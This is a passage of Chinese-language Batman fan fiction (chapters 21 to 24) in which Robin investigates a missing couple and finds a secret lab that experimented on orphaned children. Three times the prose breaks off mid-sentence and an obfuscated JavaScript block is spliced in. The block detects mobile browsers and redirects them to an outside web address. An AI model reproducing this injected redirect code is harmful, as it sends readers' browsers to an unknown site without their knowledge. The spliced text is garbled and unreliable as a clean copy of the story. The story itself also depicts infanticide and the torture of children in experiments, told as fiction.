可是那天，医院迟迟没有等到一早就该办理出院的施耐德夫妻，麦克在病房里从白天等到深夜，也没有等到父母的身影。 也是从那天开始，施耐德夫妻彻底人间蒸发。 罗宾当然调查了施耐德夫妻的生活状况，两人生活习惯良好没有不良的爱好，别说赌博，就连烟酒两人都几乎不碰。在社会信用方面，两人在银行贷款购买了现在居住的公寓，按照每个月三千美元的价格支付贷款，施耐德先生的工作非常稳定，即使玛利亚辞去了工作，这个家庭的收入远足以在承担贷款的基础上维持较好的生活水平。 三人居住的公寓还保留着生活痕迹，被蔬菜水果填满的冰箱，刚被清洗过的地毯，带着水渍没来得及清洗的镜面，刚从洗衣店拿回来的还没收拾好的衣服。至少从现场痕迹来看，两人没有远走高飞的打算，更像是因为一件寻常小事而需要外出，一如平常的离开了。 监控中，两人驾车离开了哥谭，再也没有了消息。 除去监控，罗宾自然调查了两人的通话记录，转账记录和浏览记录，唯一值得在意的点可能是是施耐德先生的上司是个实打实的控制狂，不仅喜欢打压下属还喜欢频繁地通话，施耐德先生的话费恐怕一半都花在了上司身上。 失踪前一天，施耐德先生还是接到了上司的电话，听录音内容又是挨了顿骂，随后和妻子驾车离开了自己的家，失踪在哥谭这座城市。 就像无数个在这里失踪的人一样。 21. 第 21 章 GCPD的报告虽然有提及施耐德一家居住的公寓内没有异常，但提姆还是偏向于自己亲自去一趟来确保不会遗漏关键线索。 按照哥谭类似的案件来分析，这种没有异常行为的失踪行为要不然是外出遇到了临时起意的劫匪从而命丧黄泉，要不然就是碰到□□交易被杀人灭口。 虽说也有因为发现了工作单位的违法小秘密从而被绑架撕票的情况出现，例如企图举报黑面具涉嫌洗钱的会计在警方到达前就背后身中数枪自杀身亡，但这种现场往往容易被伪装成入室抢劫的样子，杂乱不堪，有时还会特意带走部分财物来保证现场的真实性。 以及最大的疑点，明明第二天早上八点就是预定接走麦克的时间，如果在哥谭遇到了可能会有生命危险的行为，为什么不提前将麦克也带走？ 怀揣着疑问，罗宾落在了施耐德家的窗台上，不需要费太多力气就打开了这家的窗户。 顺着窗户进入公寓，靴子落在地毯上没有发出一点声音，提姆照例先确认了现场的鲁米诺反应并没有发现现场曾经有出现过血迹，现场同样没有打斗痕迹，都能证明这对夫妻是自愿离开了家。 公寓的布置算得上温馨，地面上铺了厚实的地毯，非常的柔软，门框上还刻着代表孩子身高的刻度。麦克的房间里还放了不少毛绒玩具，衣柜里除去男孩的换洗衣物还有一些被替换下来的床单被罩之类的床上用品。夫妻俩共用一个衣柜，衣物被泾渭分明的分开，干净而整洁。 提姆尝试钻进衣柜在靠墙的部位摸索了半天没有找到密室的存在只能再钻出来查看其他的房间。 书房的主要使用痕迹主要属于玛利亚，她在生产前在研究所负责抗癌药物相关的研究，不过自她从哥谭大学博士毕业后这份项目基本没什么太大的进展，只是每年或许能产出一两篇内容较为边缘化的论文，鲍里斯集团也很少向外发布该项目的进展，财报显示研究所得到的预算也逐年降低。 就是在这时玛利亚发现自己怀孕了，实验长期处于瓶颈期使得她丧失了对工作的热情，选择辞去工作回家把全部精力放在照顾家庭上。 因而电脑的文件里密密麻麻的全部都是玛利亚投稿过的论文稿件，只是相同标题修改过的版本就不下十版。在辞职后，玛利亚没有删除这些文件而是视而不见，同时她几乎和曾经的导师同事都断绝了联系，电脑中她生产后创建的文件也都是些前言不搭后语的零散文字片段。 比起之前逻辑缜密言辞简短易懂的论文，后期的这些文字的混乱程度，很难让提姆不去判断玛利亚在剧烈打击后进入产后抑郁的状态。 1月16日 辞职的第一周，实验怎么也做不明白，集团批下来的预算越来越少，导师也在各种旁敲侧击。 他想说什么？没用的家伙就该回家吗？ 那为什么不是其他人，偏偏说这话的时候总是看着我？ 明明大家都没有成果，为什么总是针对我。 1月20日 孕吐反应过于频繁，现在一天下来吐五六次都是正常的，吃不下东西。 彼得在基金会的工作不错，他说鲍里斯很看好他，或许很快能升职？ 我觉得现在的公寓就很好，或许可以换台洗烘一体的洗衣机？ 洗衣房的花销太大了，但我实在无法忍受沾满汗液的衣服，即使只穿了一次我也总是觉得已经被弄脏了。 天啊，上次的实验或许就是因为消毒不彻底的白大褂才会失败，一定是看不见的灰尘，细菌或者别的东西。 我只差一点了。 2月6日 好像是中国的春节？彼得回家带了饺子。 很好吃，只是我不太喜欢辣椒和醋的搭配，用饺子蘸番茄酱也很好吃。 彼得笑了，说我幸亏不在店里吃，否则中国人该出来骂我是异端了。 那算什么，我还把意大利面掰断煮呢，也没看到意大利人出来骂我。 最近孕吐反应减轻了很多，一想到很快会成为一个孩子的妈妈，我就觉得之前受的苦都不算什么。 4月1日 医院检查结果发现孩子有脐绕颈的风险，去问解决措施，医生也只是说在等等。 如果可以我还是希望顺产，肚子上的刀口不太好恢复，但如果脐绕颈的问题不解决顺产或许会让孩子窒息。 怎么样的睡不着觉，彼得回家的时间晚了很多，他说是公司的晚宴。 我能理解，他很努力想要承担这个家了，我应该理解他。 胸口涨得难受，我知道堵奶了，只能去卫生间自己按摩。来缓解不适。 妈妈，你为什么不告诉我还要面临这些？你是怎么对着四个孩子还能露出笑容的？好可怕，好恐怖，为什么没人告诉我。 6月7日 麦克的出生比预期早了一周，庆幸脐绕颈没对他产生太大的影响，只是最后还是选择了剖腹产。 彼得抱着麦克喜极而泣让我觉得似乎生育的痛苦都消失了。 不，没有消失，刀口的疼痛，无法排尿的痛苦，整夜喂奶的折磨，这些后遗症远比生育本身更可怕。 可是，为什么那些母亲都能摆出幸福的样子？ 这明明是假的不是吗？ 8月19日 我好像忘了什么？ 最近脑子总是昏昏沉沉，彼得的时间大多数陪在我身边。 感觉很好，我们好久没这么长时间在一起了。 夜晚很安静，难得能睡个好觉。 一切都很好。 10月12日 重新打开电脑，我才发现，我已经好几年没有尝试写些东西了，但发生的事我不知道该向谁倾诉。 在生下麦克后，产后抑郁让我差点在杀死自己的孩子后自杀，所幸彼得发现了一切阻止了我。 他告诉我，不是我的错，是他忽视了我的感受。之后的日子好了很多，麦克也在一天天长大，我觉得生活似乎不再是阴霾了。 只是遇到了研究所曾经的同事，那个女孩是叫瓦伦蒂娜吗？我在喝咖啡的时候遇到了她，她说研究所已经解散了，让我不要为过去发生的事情而愧疚，我不明白她为什么要说这样的话，我们的研究难道不是在造福世人吗？ 日记在这里戛然而止，提姆在这些文字里只有一个疑问？ 玛利亚当年的研究课题为什么会让同事认为她应该心生愧疚？研究抗癌药物即使涉及人体试验环节，在合法合规的情况下也不该出现这样的极端情况。 她的研究课题到底是什么？他们夫妻的失踪和这项研究有关系吗？ 黑暗中，少年的脸被屏幕发出的光所照亮，在书房内还能听到污水经过水管的巨大噪音，街道上也难得算得上平静。 手指在键盘上一阵飞舞后，提姆找到了被玛利亚隐藏起来的文件，果然如少年所料，这都是些关于人体实验的记录。 罗宾将文件传输到自己的终端上，继续去检查书架。 虽然没有找到能直接揭示夫妻秘密的证明文件，但是被夹在文件夹里的带着褶皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859248|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的纸张让提姆脑内铃声大作。 这是一张哥谭墓地的购买证明，墓地的主人赫然写着一个提姆再熟悉不过的名字——麦克.施耐德。 日记里出现的玛利亚记忆断片的情况有了解释，玛利亚以为自己被彼得阻止杀死自己的孩子，但实际上反应慢上一步的彼得只做了一件事——阻止妻子的自杀。 而真正的麦克大概率当时就被玛利亚所杀害了。 那么新的问题来了，麦克已经死了，那个被索菲亚救出来的麦克又是谁？ 今夜的月光格外的明亮，即便没有开灯病房内的一切还是格外清晰，至少对猎魔人改造过的眼睛而言是这样的。 索菲亚站在病床前，看着面前还在沉睡的男孩。麦克睡觉前喝了有助眠效果的感冒药，这个年纪的孩子睡起觉来即便打雷都难以叫醒。 据护士琳达小姐说，麦克最近有些感冒，鼻塞流鼻涕头晕咳嗽的症状轮了个遍，只能乖乖的吃药。 会出现在这里当然不是什么巧合，在夜巡时索菲亚看到了夹在缝隙里的记号，属于猫头鹰法庭的记号。 不出片刻，身穿常服的带有熟悉气息的男人便出现在索菲亚身边，讲了个算不上精彩的故事。 有个男人走了狗屎运和哥谭大学毕业的高材生女生谈了恋爱并结婚，只是没想到妻子受到工作的打击再加上怀孕，于是选择了辞职。男人不介意妻子在家或者工作，他相信自己能够养活这个家庭。 于是他把所有精力都放在了工作上，应酬加班成了常态，等到妻子生下孩子他更努力的加班只是为了获得只多了那么一点点的薪资报酬。 于是在某天，一切都结束了。 产后抑郁的妻子用枕头捂死了他们的孩子，在这之后精神彻底崩溃，险些从自家的窗户一跃而下结束生命。 筋疲力尽的男人看着歇斯底里的妻子无可奈何，却在看到自己所在的基金会负责的孤儿院里的孩子时，脑子里冒出了个惊天的想法。 一个和他的儿子差了不到一个月的男孩被他选中，成为了替代品。 妻子的精神逐渐恢复，遗忘了亲生儿子被杀害的往事，将偷来的孩子当做唯一的慰藉，而男人则利用自己微不足道的权限抹去了一切的痕迹。 索菲亚抓住男孩的下巴，左右查看，果然在男孩的口腔里找到了特殊的那颗牙齿。 给男孩注射了适量的麻药，消毒后索菲亚用钳子将那颗牙拔了下来，鲜血顺着男孩的口腔流出，被索菲亚用棉球塞上在按压止血后确定麦克的生命体征正常后，索菲亚顺着原路离开了病房。 “很不巧，那个男孩是个预备役的利爪，他的臼齿里藏着琥珀金，这也是法庭选择对这对夫妻下手的原因。” 男人靠在墙上，不在乎会沾上灰的高级西服会有多难洗，金色的眼睛在黑暗中格外的显眼。 “只要有琥珀金给我交差就行，那个男孩不是非杀不可，毕竟失去了腿的残次品很难有作用了。” “你的衣服变了？”索菲亚把装着臼齿的小盒子抛过去，男人顺手接过。 “对，我升职了。”男人挑眉漏出个讥讽味十足的笑“从喽啰杀手变成政客了，估计要不了多久就能看到我的脸挂满哥谭了。” “不过在接管哥谭之前我会把法庭的人处理干净的，真是期待。” “期待法庭那帮老爷们看到自己培养的利爪背叛自己会是怎样的表情？” 利爪消失在小巷中，只留下索菲亚捏着男人留下的名片默念着这个有点陌生的名字——林肯马奇。 22. 第 22 章 接下来调查的方向很简单了，只要找到玛利亚当年在研究所真正负责的项目问题就能解决一半。虽说彼得身上同样有些无法解释的疑问，但这些疑问都不至于让夫妻俩致死，可能需要提姆花点时间去孤儿院找找麦克过去的线索。 鲍里斯曾经投资的研究所位于东区，隔壁就是大名鼎鼎的诞生了哥谭有史以来最混沌反派小丑以及其追随者小丑女的ACE化工厂。只是随着时间变化，失去了投资的研究所成为了一座空壳，对于罗宾来说潜入难度几乎降低了好几个level。 空气中满是扬起的灰尘，玻璃也大多破碎，地面零零散散的散落着不少生活垃圾，应该有不少无家可归的流浪汉在这里废弃后企图在这里安家，但因为一些原因又选择了离开。 非要说哪里不对的话，恐怕只有在这种地方竟然没见到一只诸如美洲大蠊黑色巨鼠等一类哥谭常驻居民出现，罗宾甚至还有些不习惯。 研究所是典型的独栋建筑，一楼作为展示用途对外开放，根据之前的照片显示在展示厅放置的也都是些宣传研究成果的物料，以及一些出色研究员的介绍。 照片上的研究员，目前还在原研药行业进展的不到十分之一，大多数人都像是玛利亚一样选择放弃研究转而选择其他领域的工作，而他们负责研发的药物中也鲜有真正进入市场的产品，大多在试验阶段就被否定。负责带领实验室的领头人史密斯教授在满腔抱负无法施展后，离开了哥谭前往华盛顿寻找新的项目机会。 提姆找到了实验室发表的论文，他们研发主要方向是降低化疗药物例如顺铂，氟尿嘧啶常规会出现的副作用，例如脱发，恶心，骨髓移植等，算是中规中矩的研究方向。实验过程中也出现过一定的成果，但是这些个例很难做到稳定产出，直到整个项目被取消。 可惜过去了将近十年，研究所内的仪器设备基本都被卖了个干净，记载记录的文件也不知所踪，整座大楼断电许久，连安全出口的灯牌都黯淡无光。 楼梯口并没有通往地下的通道，让正宗哥谭人提姆十分不适应，总觉得这栋楼下面不搞几个密室都对不起哥谭本地企业的身份。 撬开紧闭的电梯门，楼层按钮上乍一看似乎没什么问题，但经验丰富的罗宾还是用工具撬开了按钮界面，直接用便携终端接入电梯系统，利用紧急能源操控电梯向下运行。 电梯运行的速度格外漫长，根据速度判断提姆甚至怀疑研究所背后的势力是要住在地心吗？ 电梯门缓缓开启，虽然同样布满灰尘，但地下隐藏部分的实验室里的各类设备都还齐全，灯光也随着后备能源被触发一一亮起，冷白色的光格外刺眼。 玻璃门感应到有人接近，自动向两边打开。 通过观察地面灰尘，这座废弃实验室至少有几个月都没人来过，但罗宾还是没有放松警惕。实验室内的笼子里还存放着各类动物的尸体，因为时间过久，只剩下了些骨头，大多都是些兔子，猕猴，实验犬之类的品种，只是在经过某个笼子时少年的脚步停住了。 那是一具人类的白骨，根据骨龄判断被用于实验最后死在实验室的孩子不会超过八岁。 将试验区转了一遍，少年发现的人类尸体不下二十具，其中大多数都是些幼童，甚至有还处于婴儿阶段的细小骨头。即使是见多识广的义警，罗宾也不得不压下身体深处升起的愤怒，努力保持清醒和冷静。 所以说研究所涉及到了非法人体试验，也难怪日记里玛利亚的同事会劝她不要愧疚。 那么研究所到底在研究些什么？ 研究所内的计算机都是些过时的大屁股货，光是开机都够罗宾用钩爪枪在哥谭跑个来回，看着古老的windows XP系统终于反应了过来，罗宾故技重施将储存的文件都拷进了终端。 根据这些真正的实验报告记述，他们在进入研究所就一直在研究某种物质，这类物质因为颜色呈金色被他们称呼为琥珀金。琥珀金在促进细胞分裂方面效果显著。 经过多次试验，被注射了琥珀金的小白鼠即便失去了四肢也能挣扎着复原，被摘除了眼球的比格犬也在药物的作用下能够重新恢复视力，对于现代医学来讲简直就是奇迹。 于是在确认了琥珀金转化人体的具体计量后，实验室的重心转向了确认实验体能够被复原的极限，切除四肢，摘除眼球，腰斩，火烧，甚至于分尸，这些常规的做法都无法让注入了琥珀金的实验体死去。 而罗宾只是看着报告都只感觉到后背发凉，他不敢想象那些白骨到底在生前经历了怎样的折磨，又是在怎样的痛苦下才迎来了死亡的解脱，或许整个实验室都是无辜者的痛哭，而少年在隐约之间捕捉到了浓烈的无法被消解的痛苦。 人是哥谭最不值钱的东西，政客在高台大呼人权自由，不顾无家可归者只能靠毒品度日，恰好被卷入那些罪犯犯罪计划的民众只是瞬息之间就和亲朋好友永别，孤儿院塞满了失去父母的孩子，而这些失去父母和社会照顾的孩子又会被迫自愿的走向犯罪的道路，成为哥谭这座坟场新的拉人堕落的淤泥。 即便是蝙蝠侠，是否面对这样的局面也会无力，他是否也会痛恨自己的无能呢？ 报告在这里中断了，关于那个真正能杀死实验体的方法罗宾也无从得知。 只是在实验报告的结尾，罗宾注意到了被提及的一处地点，那是韦恩夫妻生前曾经做过慈善活动的孤儿院——青柳小屋，同时也是彼得负责对接的那所孤儿院。 青柳小屋同样废弃已久，不同于研究所的过分干净，这所养育了无数孤儿的住所，时隔多年地上还散落着连拾荒者都不愿意捡走的垃圾。 有年轻的孩子满怀笑容涂鸦出的画作，或者是被探访的大人物手把手教着做出的手工风车，这些承载着记忆的旧物都成了一文不值的垃圾在这片荒废的建筑里被来自哥谭湾的海风一片一片的侵蚀。 档案室的门锁早已生锈，少年没用几分力气就打开了那扇摇摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859249|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欲坠的门，翻看关于孤儿们的资料。 对比从GCPD薅来的情报，现在还在世的孩子大多没有被选中，在这群幸运儿里提姆甚至看到了最近风头正盛的传奇投资人林肯马奇的名字。而那些被领养走后下落不明的孩子则是需要重点被关注的对象，提姆大多也都拍照进行记录。 没翻两页，彼得的名字出现了，他从青柳小屋领走了一个金发的男孩并取名为麦克，按照安排这个男孩应该和同伴一起被送进实验室，但阴差阳错的被施耐德夫妻领养脱离了作为实验体的命运。 将资料全部留档后罗宾正要离开继续追查施耐德夫妻的下落，却注意到名单内有一页被黏连的纸张，大概率是因为过于潮湿粘在了一起。罗宾小心翼翼的撕开了纸张，但是在看清上方的画面时，头脑顷刻间一片空白。 那是提摩西德雷克再熟悉不过的一张脸，即使照片的主人年幼了许多，但那双金色的眼睛提姆即使被拿撬棍敲十次脑也不会忘记。 那是索菲亚的脸。 林肯马奇，哦不，小托马斯韦恩永远忘不了索菲亚的那张脸。 金色的瞳孔如同猛兽一般平静的巡视着自己的领地，面对这些刚刚接受琥珀金注射的利爪来说，面前矮了大家一头的女孩比训练他们的教官更加恐怖，在格斗训练中少女往往擅长一击毙命。 被长刀捅穿咽喉后血液弥漫堵塞住气管的窒息感让年轻的利爪心生恐惧，尚未做到习惯死亡蔑视死亡的利爪大多被少女种下了对死亡的阴影，直到某天小托马斯的技术超过了少女，同样用长刀捅穿了索菲亚的心脏，将多年来的恐惧和恨意全部如数奉还。 唯一遗憾的是，即便几乎被分尸，少女的眼神却始终空洞，没有一丝利爪所期待的恐惧的神色，只是投射出利爪的癫狂和懦弱。 可惜的是，少女并未注射琥珀金，她身上能够让她恢复的药物只能够保证她不会死去，在治愈了浑身上下的致命伤后失去了作用的小利爪被关进了冰冻设施。 在失去意识前，她还是保持着冷静和淡然，而那视线永远刻画在托马斯韦恩的脑海中。 直到现在，她成了索菲亚，不再作为利爪。 小托马斯不在乎他到底要做什么，或许是因为自己也在谋划离开法庭甚至于掌控法庭的计划了。 比如说，杀死把自己抛弃在孤儿院的兄长布鲁斯韦恩，以韦恩家族的掌权人的身份重新进入法庭。 金钱权势，世俗追求的一切都在眼前触手可得，如果说布鲁斯足够识趣自愿把整个家族让出小托马斯也不介意高抬贵手，留自己的兄长一命，让他看着自己带着韦恩将整个哥谭全部掌控。 毕竟一个只知道追求享乐和刺激的花花公子又能给业绩优秀的猫头鹰法庭职业杀手利爪造成多大的麻烦呢？ 至于索菲亚，小托马斯不介意睁一只眼闭一只眼，他相信当年自己能杀死利爪一次，当然也能杀死她第二次。 毕竟他已经拥有一切了不是吗？ 23. 第 23 章 伴随着热心钓鱼佬在清晨发现的两具尸体，施耐德一家的案子草草结束。 即便罗宾把手头能证明鲍里斯涉嫌人体实验的所有证据都塞给了GCPD，最后的结果也不过只是把当时的负责人送进了黑门监狱，对于鲍里斯这样的哥谭本地家族来讲这点事连皮外伤都算不上。 即便早就做好了心理准备，提姆还是不免有些失落，在哥谭加害者利用法律漏洞逃脱法律制裁的事并不少见。作为义警提姆认同蝙蝠侠的不杀原则，任何人都不能凌驾于法律之上夺走他人的生命，但是在某一个瞬间看着肆意妄为的罪犯，提姆内心还是会感到一丝愤怒。 对世界认知的打破重塑往往是痛苦的，提姆在年幼时就见证了哥谭的传奇，看到了那些除恶扬善的故事。放在任何地方这样的超级英雄式的故事都显得有些俗套，只有在被抛弃的泥潭一样，繁荣与堕落共存的哥谭，这样的故事成为了奇迹。 可是当提姆接手罗宾的披风，直面同伴在这个过程中付出的惨痛代价。即便每个人都做好了随时为了正义和理想付出一切的心理准备，可是看着同伴的痛苦和离世，终究是附着于灵魂之上永远无法被驱散的阴霾。 夜巡的鸟儿停了下来，静静的站在熟悉的人身后，少女今天难得没戴兜帽，黑色的发丝被风吹起。 只是这次提姆没闻到洗发水的味道，也可能是索菲亚的手边放着的快餐店的袋子里食物的香气存在感过强，霸道的占据了人类能闻到的所有气味。 索菲亚还在埋着头吃手里加了好几层肉饼的汉堡，头也没抬就用另一只手从袋子里摸出另一个汉堡扔给身后之人。 提姆接过汉堡，上面的标签显示这是一份热量爆炸的不健康食物，巨无霸汉堡加两层肉饼，肉饼和蔬菜间挤满了橘黄色的千岛酱，只剩下的那点蔬菜可怜巴巴的被肉饼夹击，完全失去了存在感。 被腌制到位的牛肉饼在铁板上经过炙烤后充分表现出美拉德反应，散发出焦香的肉味，千岛酱酸甜的味道混杂着清洗之后还带着水珠的青菜的气味，冲淡了肉类可能出现的油腻。 “我赌你没有吃饭。”索菲亚咽下了口中的食物才开口。“要是猜错了就把汉堡还我，我还能再吃一个。” “谢谢。”提姆上前坐在索菲亚身边，拆开了包装纸一口一口把食物送进肠胃之中。 “你最近在查什么？都没在蝙蝠侠身边看到你。” 想起文件里那些惨绝人寰的画面，提姆把嘴里的话咽了下去摇了摇头。 “这样啊，那我们的presentation怎么办？” “我去吧。”提姆几口吃光了手上的食物，顺手把包装纸揉成一团。 “垃圾放我这吧，我等会扔。”索菲亚从带着战术手套的手心接过纸团扔进了袋子里。 “回去你不会还要加班吧，听起来好命苦哦提米。” 被食物填满的滋味让提姆紧绷的精神难得放松了下来，持续被情绪烦扰的不适也被晚风吹散，索菲亚侧过身，那双圆眼像极了等待人类抚摸的猫。 等到意识回笼，罗宾才不慌不忙的收回了放在索菲亚脑袋上的手。索菲亚身体顿了一下，很快便真的像只猫一样热情的凑近了身体，用手臂环住了面前的少年。 “你怎么能摸我，好过分的小鸟，那我要摸你。” 少女的手并不老实，松开罗宾后直接冲着提姆好不容易做出发型的头发袭击，揉乱了罗宾小鸟的羽毛。 “好软的头发，我听说细软的头发以后容易掉发。” “不会的。”罗宾斩钉截铁的说道。 “可是你还熬夜，还喝好多咖啡。” “不会的。”少年缓缓的将自己从索菲亚的怀抱里挣脱，转身就要从脱发的地狱里逃离。 “没关系的，罗宾，就算你秃了我们也是好朋友的。” 不要再说了，这里没有人会脱发。 罗宾落荒而逃。 和林肯马奇的交易结束后，索菲亚倒也不是完全过上了清闲自在的生活。猎魔人布兰登小姐和搅局者布朗小姐终于找到了线索大师的下落。 两人跟在人屁股后面兢兢业业的蹲了三天只能证明，这人确实有犯罪的想法，但目前为止凑出来的线索还是一个想去GCPD举报对方预谋犯罪都会被以寻衅滋事的名义打出来的地步。 “我不甘心，凭什么只有犯了罪才能被警察抓走，难道潜在的罪犯就不算罪犯了吗？”斯蒂芬妮捏爆了手里的热狗，墨西哥辣酱喷到了少女紫色的披风上格外的显眼“草凭什么，怎么人倒霉的时候热狗都能欺负我。” 索菲亚正在埋头苦吃自己在24小时内的第五顿饭，虽然少女也没有很饿，但来都来了为什么不吃。 “那我们今晚就去取你爸的项上人头，根本上断绝——” “除了这个。”斯蒂芬妮咬了一大口热狗，咀嚼的时候用力到让人以为她在吃仇人的血肉“我要阻止我的三流反派爹不代表我也得成为三流反派，听起来也太惨了吧，我还想给蝙蝠侠投简历做四代罗宾呢。” “那我问问罗宾打算什么时候长到两米给你腾位置。” “所以你俩谈了？为什么？你俩也不熟啊。”斯蒂芬妮瘫在沙发上看索菲亚换衣服，灯光下在少女皮肤上各类狰狞的伤疤格外刺眼。 “好玩吧。”索菲亚神色不变，把换下的脏衣服丢到洗衣篮里“谈恋爱的话就可以正大光明的叫他出来吃饭了，我喜欢的餐厅都没有单人餐可以选，如果他不来我就可以说‘你不爱我了吗？我们的感情果然是虚假的，好过分的男人’来指责他。” “哇塞。”斯蒂芬妮的眼睛亮了起来，蹭到索菲娅身边一把将舍友抱在怀里转圈“好过分的索菲，但我好喜欢。” “那你一定要在他反应过来之前踹掉他，要是被分手就算没那么喜欢也会不舒服吧。” “我也是这么想的。”索菲亚脚下一绊摔在沙发上，来带着斯蒂芬妮也摔了上来，黑色的金色的头发混做一团。“我打算谈满一个月再分手。” 安静片刻后，便是笑声。 “嘶，要是在夜巡我们的脸就丢尽了。”大笑后，斯蒂芬妮小心翼翼的把自己的头发和黑色的短发分开，却还是不小心扯到了头皮。“蝙蝠侠估计会给我们打上不靠谱标签再也不和我们合作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859250|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” “没关系，我们可以都去卖柠檬茶和热狗，就算是再不靠谱，夜巡的时候肚子饿的咕咕叫的蝙蝠侠也得带着罗宾来买我们的吃的。” 索菲亚帮忙分开两人的头发，眼神扫过斯蒂芬妮的侧脸却对上对方的视线，两人又是笑做一团。 不过，既然肯定要分手，那就在分手前借着情侣的关系把哥谭好玩的一个人去不了的地方都去一遍好了。 上午九点，提姆被窗帘缝隙中透过的阳光叫醒，好不容易才坐了起来，大脑完全放空。 “您睡醒了吗提摩西少爷？” 房门被敲响，得到答复后穿着燕尾服的阿福打开了房门。 “早饭已经准备好，您上午有安排吗？” “我今天有空。”提姆打了个哈欠从床上爬起来“有什么事吗？” “今天上午十点有一场会议需要布鲁斯老爷出席，不过看来他现在已经没办法醒过来了。” 罗宾和导师回到蝙蝠洞时几乎要天亮，摘下面具的布鲁斯让提姆早点休息，自己却坐在电脑前加班，直到接过来管家递来的咖啡喝下几口后就在不可置信的眼神中倒在了工作台前。 目睹阿福往咖啡里添加强力麻醉剂的提姆把想要加班处理任务报告的话咽到了肚子里，帮着阿福一起把布鲁斯抬回了房间。 就那几滴分量，足够药倒一头两吨重的大象，布鲁斯如果这样还能起床才是真正的人类奇迹。 “我或许可以帮忙，我能做什么呢？”提姆的话还未说出口，就被管家以肉眼无法看清的速度换上贴合身体的面料舒适的西装，在吃过早饭后就被管家推上了车库里算得上低调的迈巴赫。 “提摩西少爷，这个家就交给您了。” “我需要做什么吗？”提姆有些茫然想要离开，汽车却已经启动，少年真能在车窗里看到越来越遥远的阿福。 “您只要到场就好了。”阿福的笑容里满是欣慰，向少年摆了摆手。 我真傻，我真的，为什么会相信这样的话呢？为什么要心疼布鲁斯呢？ 有的人刚刚到达韦恩大厦就被等候已久的秘书团簇拥着送进会议室，好不容易找回脑子的提姆被几段冗长枯燥的发言催眠的昏昏欲睡，但还是努力摆出认真听讲的模样，时不时对上发言人的眼神摆出一个微笑。 好不容易熬到会议结束，刚想离开的提姆来不及挣扎就又被人流裹挟着被塞进了布鲁斯低调奢华的专属办公室，被雪花一样的文件淹没在市价超过几万美元的高级老板椅里。 提姆一边痛骂几个小时前的自己，一边却又控制不住自己翻看文件的手，再确认没有问题后签上了名字。 这不对吧，我不是姓德雷克吗？为什么韦恩集团还可以认我的签名啊，这合法吗？ 身穿职业装的秘书哈里森小姐露出一个神秘的微笑，拿出一份签上了布鲁斯大名的委托书，简单的几张纸里就将还没上高中的提姆指定为自己的代理人。 即使拼尽全力但还是被文件淹没的少年竭力保持沉稳冷静的外表，但还是觉得有什么重要的东西似乎离开了。 救命，蝙蝠侠救命。 24.第 24 章 只是隔了一天没见，提姆就仿佛失去了所有的活力，像是忘记被主人收起来的被太阳晒到原地去世立马的又被浇了过度的水险些淹死的可怜绿植。 索菲亚拿起茶壶给提姆烫了餐具，倒上一杯用栀子泡开的茶水。 两个人坐在唐人街一家中餐馆里，立式空调有些年头即使再怎么孜孜不倦的吹出冷气但还是无济于事，只能靠固定在墙上的风扇嘎吱嘎吱的摇着脑袋吹风。 好在哥谭刚刚下过雨，气温略微降低了几度，不至于体验被水煮清蒸的糟糕经历。 “所以你现在从学生一下升级成董事长亲自授权的代理人了，好酷。”索菲亚对着茶杯吹气，抬眼看坐在对面满是死气的提姆。 “我没想到，布鲁斯怎么能堆那么多文件。”提姆无奈的扶额，看着明显是机器翻译的菜单。 “所e on，MaiCai是什么？” 同样注意到的索菲亚茫然的摇头，抬起头环视四周确认没有找到任何演奏或者播放音乐的途径，信誓旦旦的回答。 “至少不会是一首歌。” 另一道fuck the duck until exploded同样炸裂，索菲亚实在没忍住笑，视线不停的落在提姆身上。 “这道菜不会用的还是公鸭（drake）吧。” 反应过来的提姆一样没绷住表情，两个人趴在桌子上笑了两分钟才继续点菜。 提姆不是吃饭的时候喜欢说话的人，虽然作为德雷克家的独苗从小没少去各类晚宴，但大多数人也不会选择在这种场合用餐，大家大多端着酒杯觥筹交错间就完成了一场或大或小的利益交换。 好在作为未成年，提姆还能戴着和妈妈礼服相同颜色的领结，不需要晃着杯子里的酒精被迫社交，蹲在角落吃点心。大多数时候只需要等到爸妈结束社交，就可以举着作为乖乖在原地没有乱跑奖励的冰淇凌回家。 在自家的餐桌上，珍妮特的话题大多数时候是对于市面上珠宝的吐槽，尤其是那些将廉价材料包装后卖出昂贵价格的品牌。 杰克总会耐心听完珍妮特的吐槽，大概率是某次在妈妈刚吐槽完就踩着雷点送了华而不实首饰的经历带来的教训。 当刚离开家上学没多久的提姆尝试说话时，两个大人都会停下来静静的听他讲学校里发生的事，即使一时忘记了要说的话，来自父母饱含鼓励的眼神也让提姆觉得温暖。 等提姆稍大些，两人就放心的把乖巧的儿子交给了庄园里管家和保姆，满世界追求自由和浪漫去了。 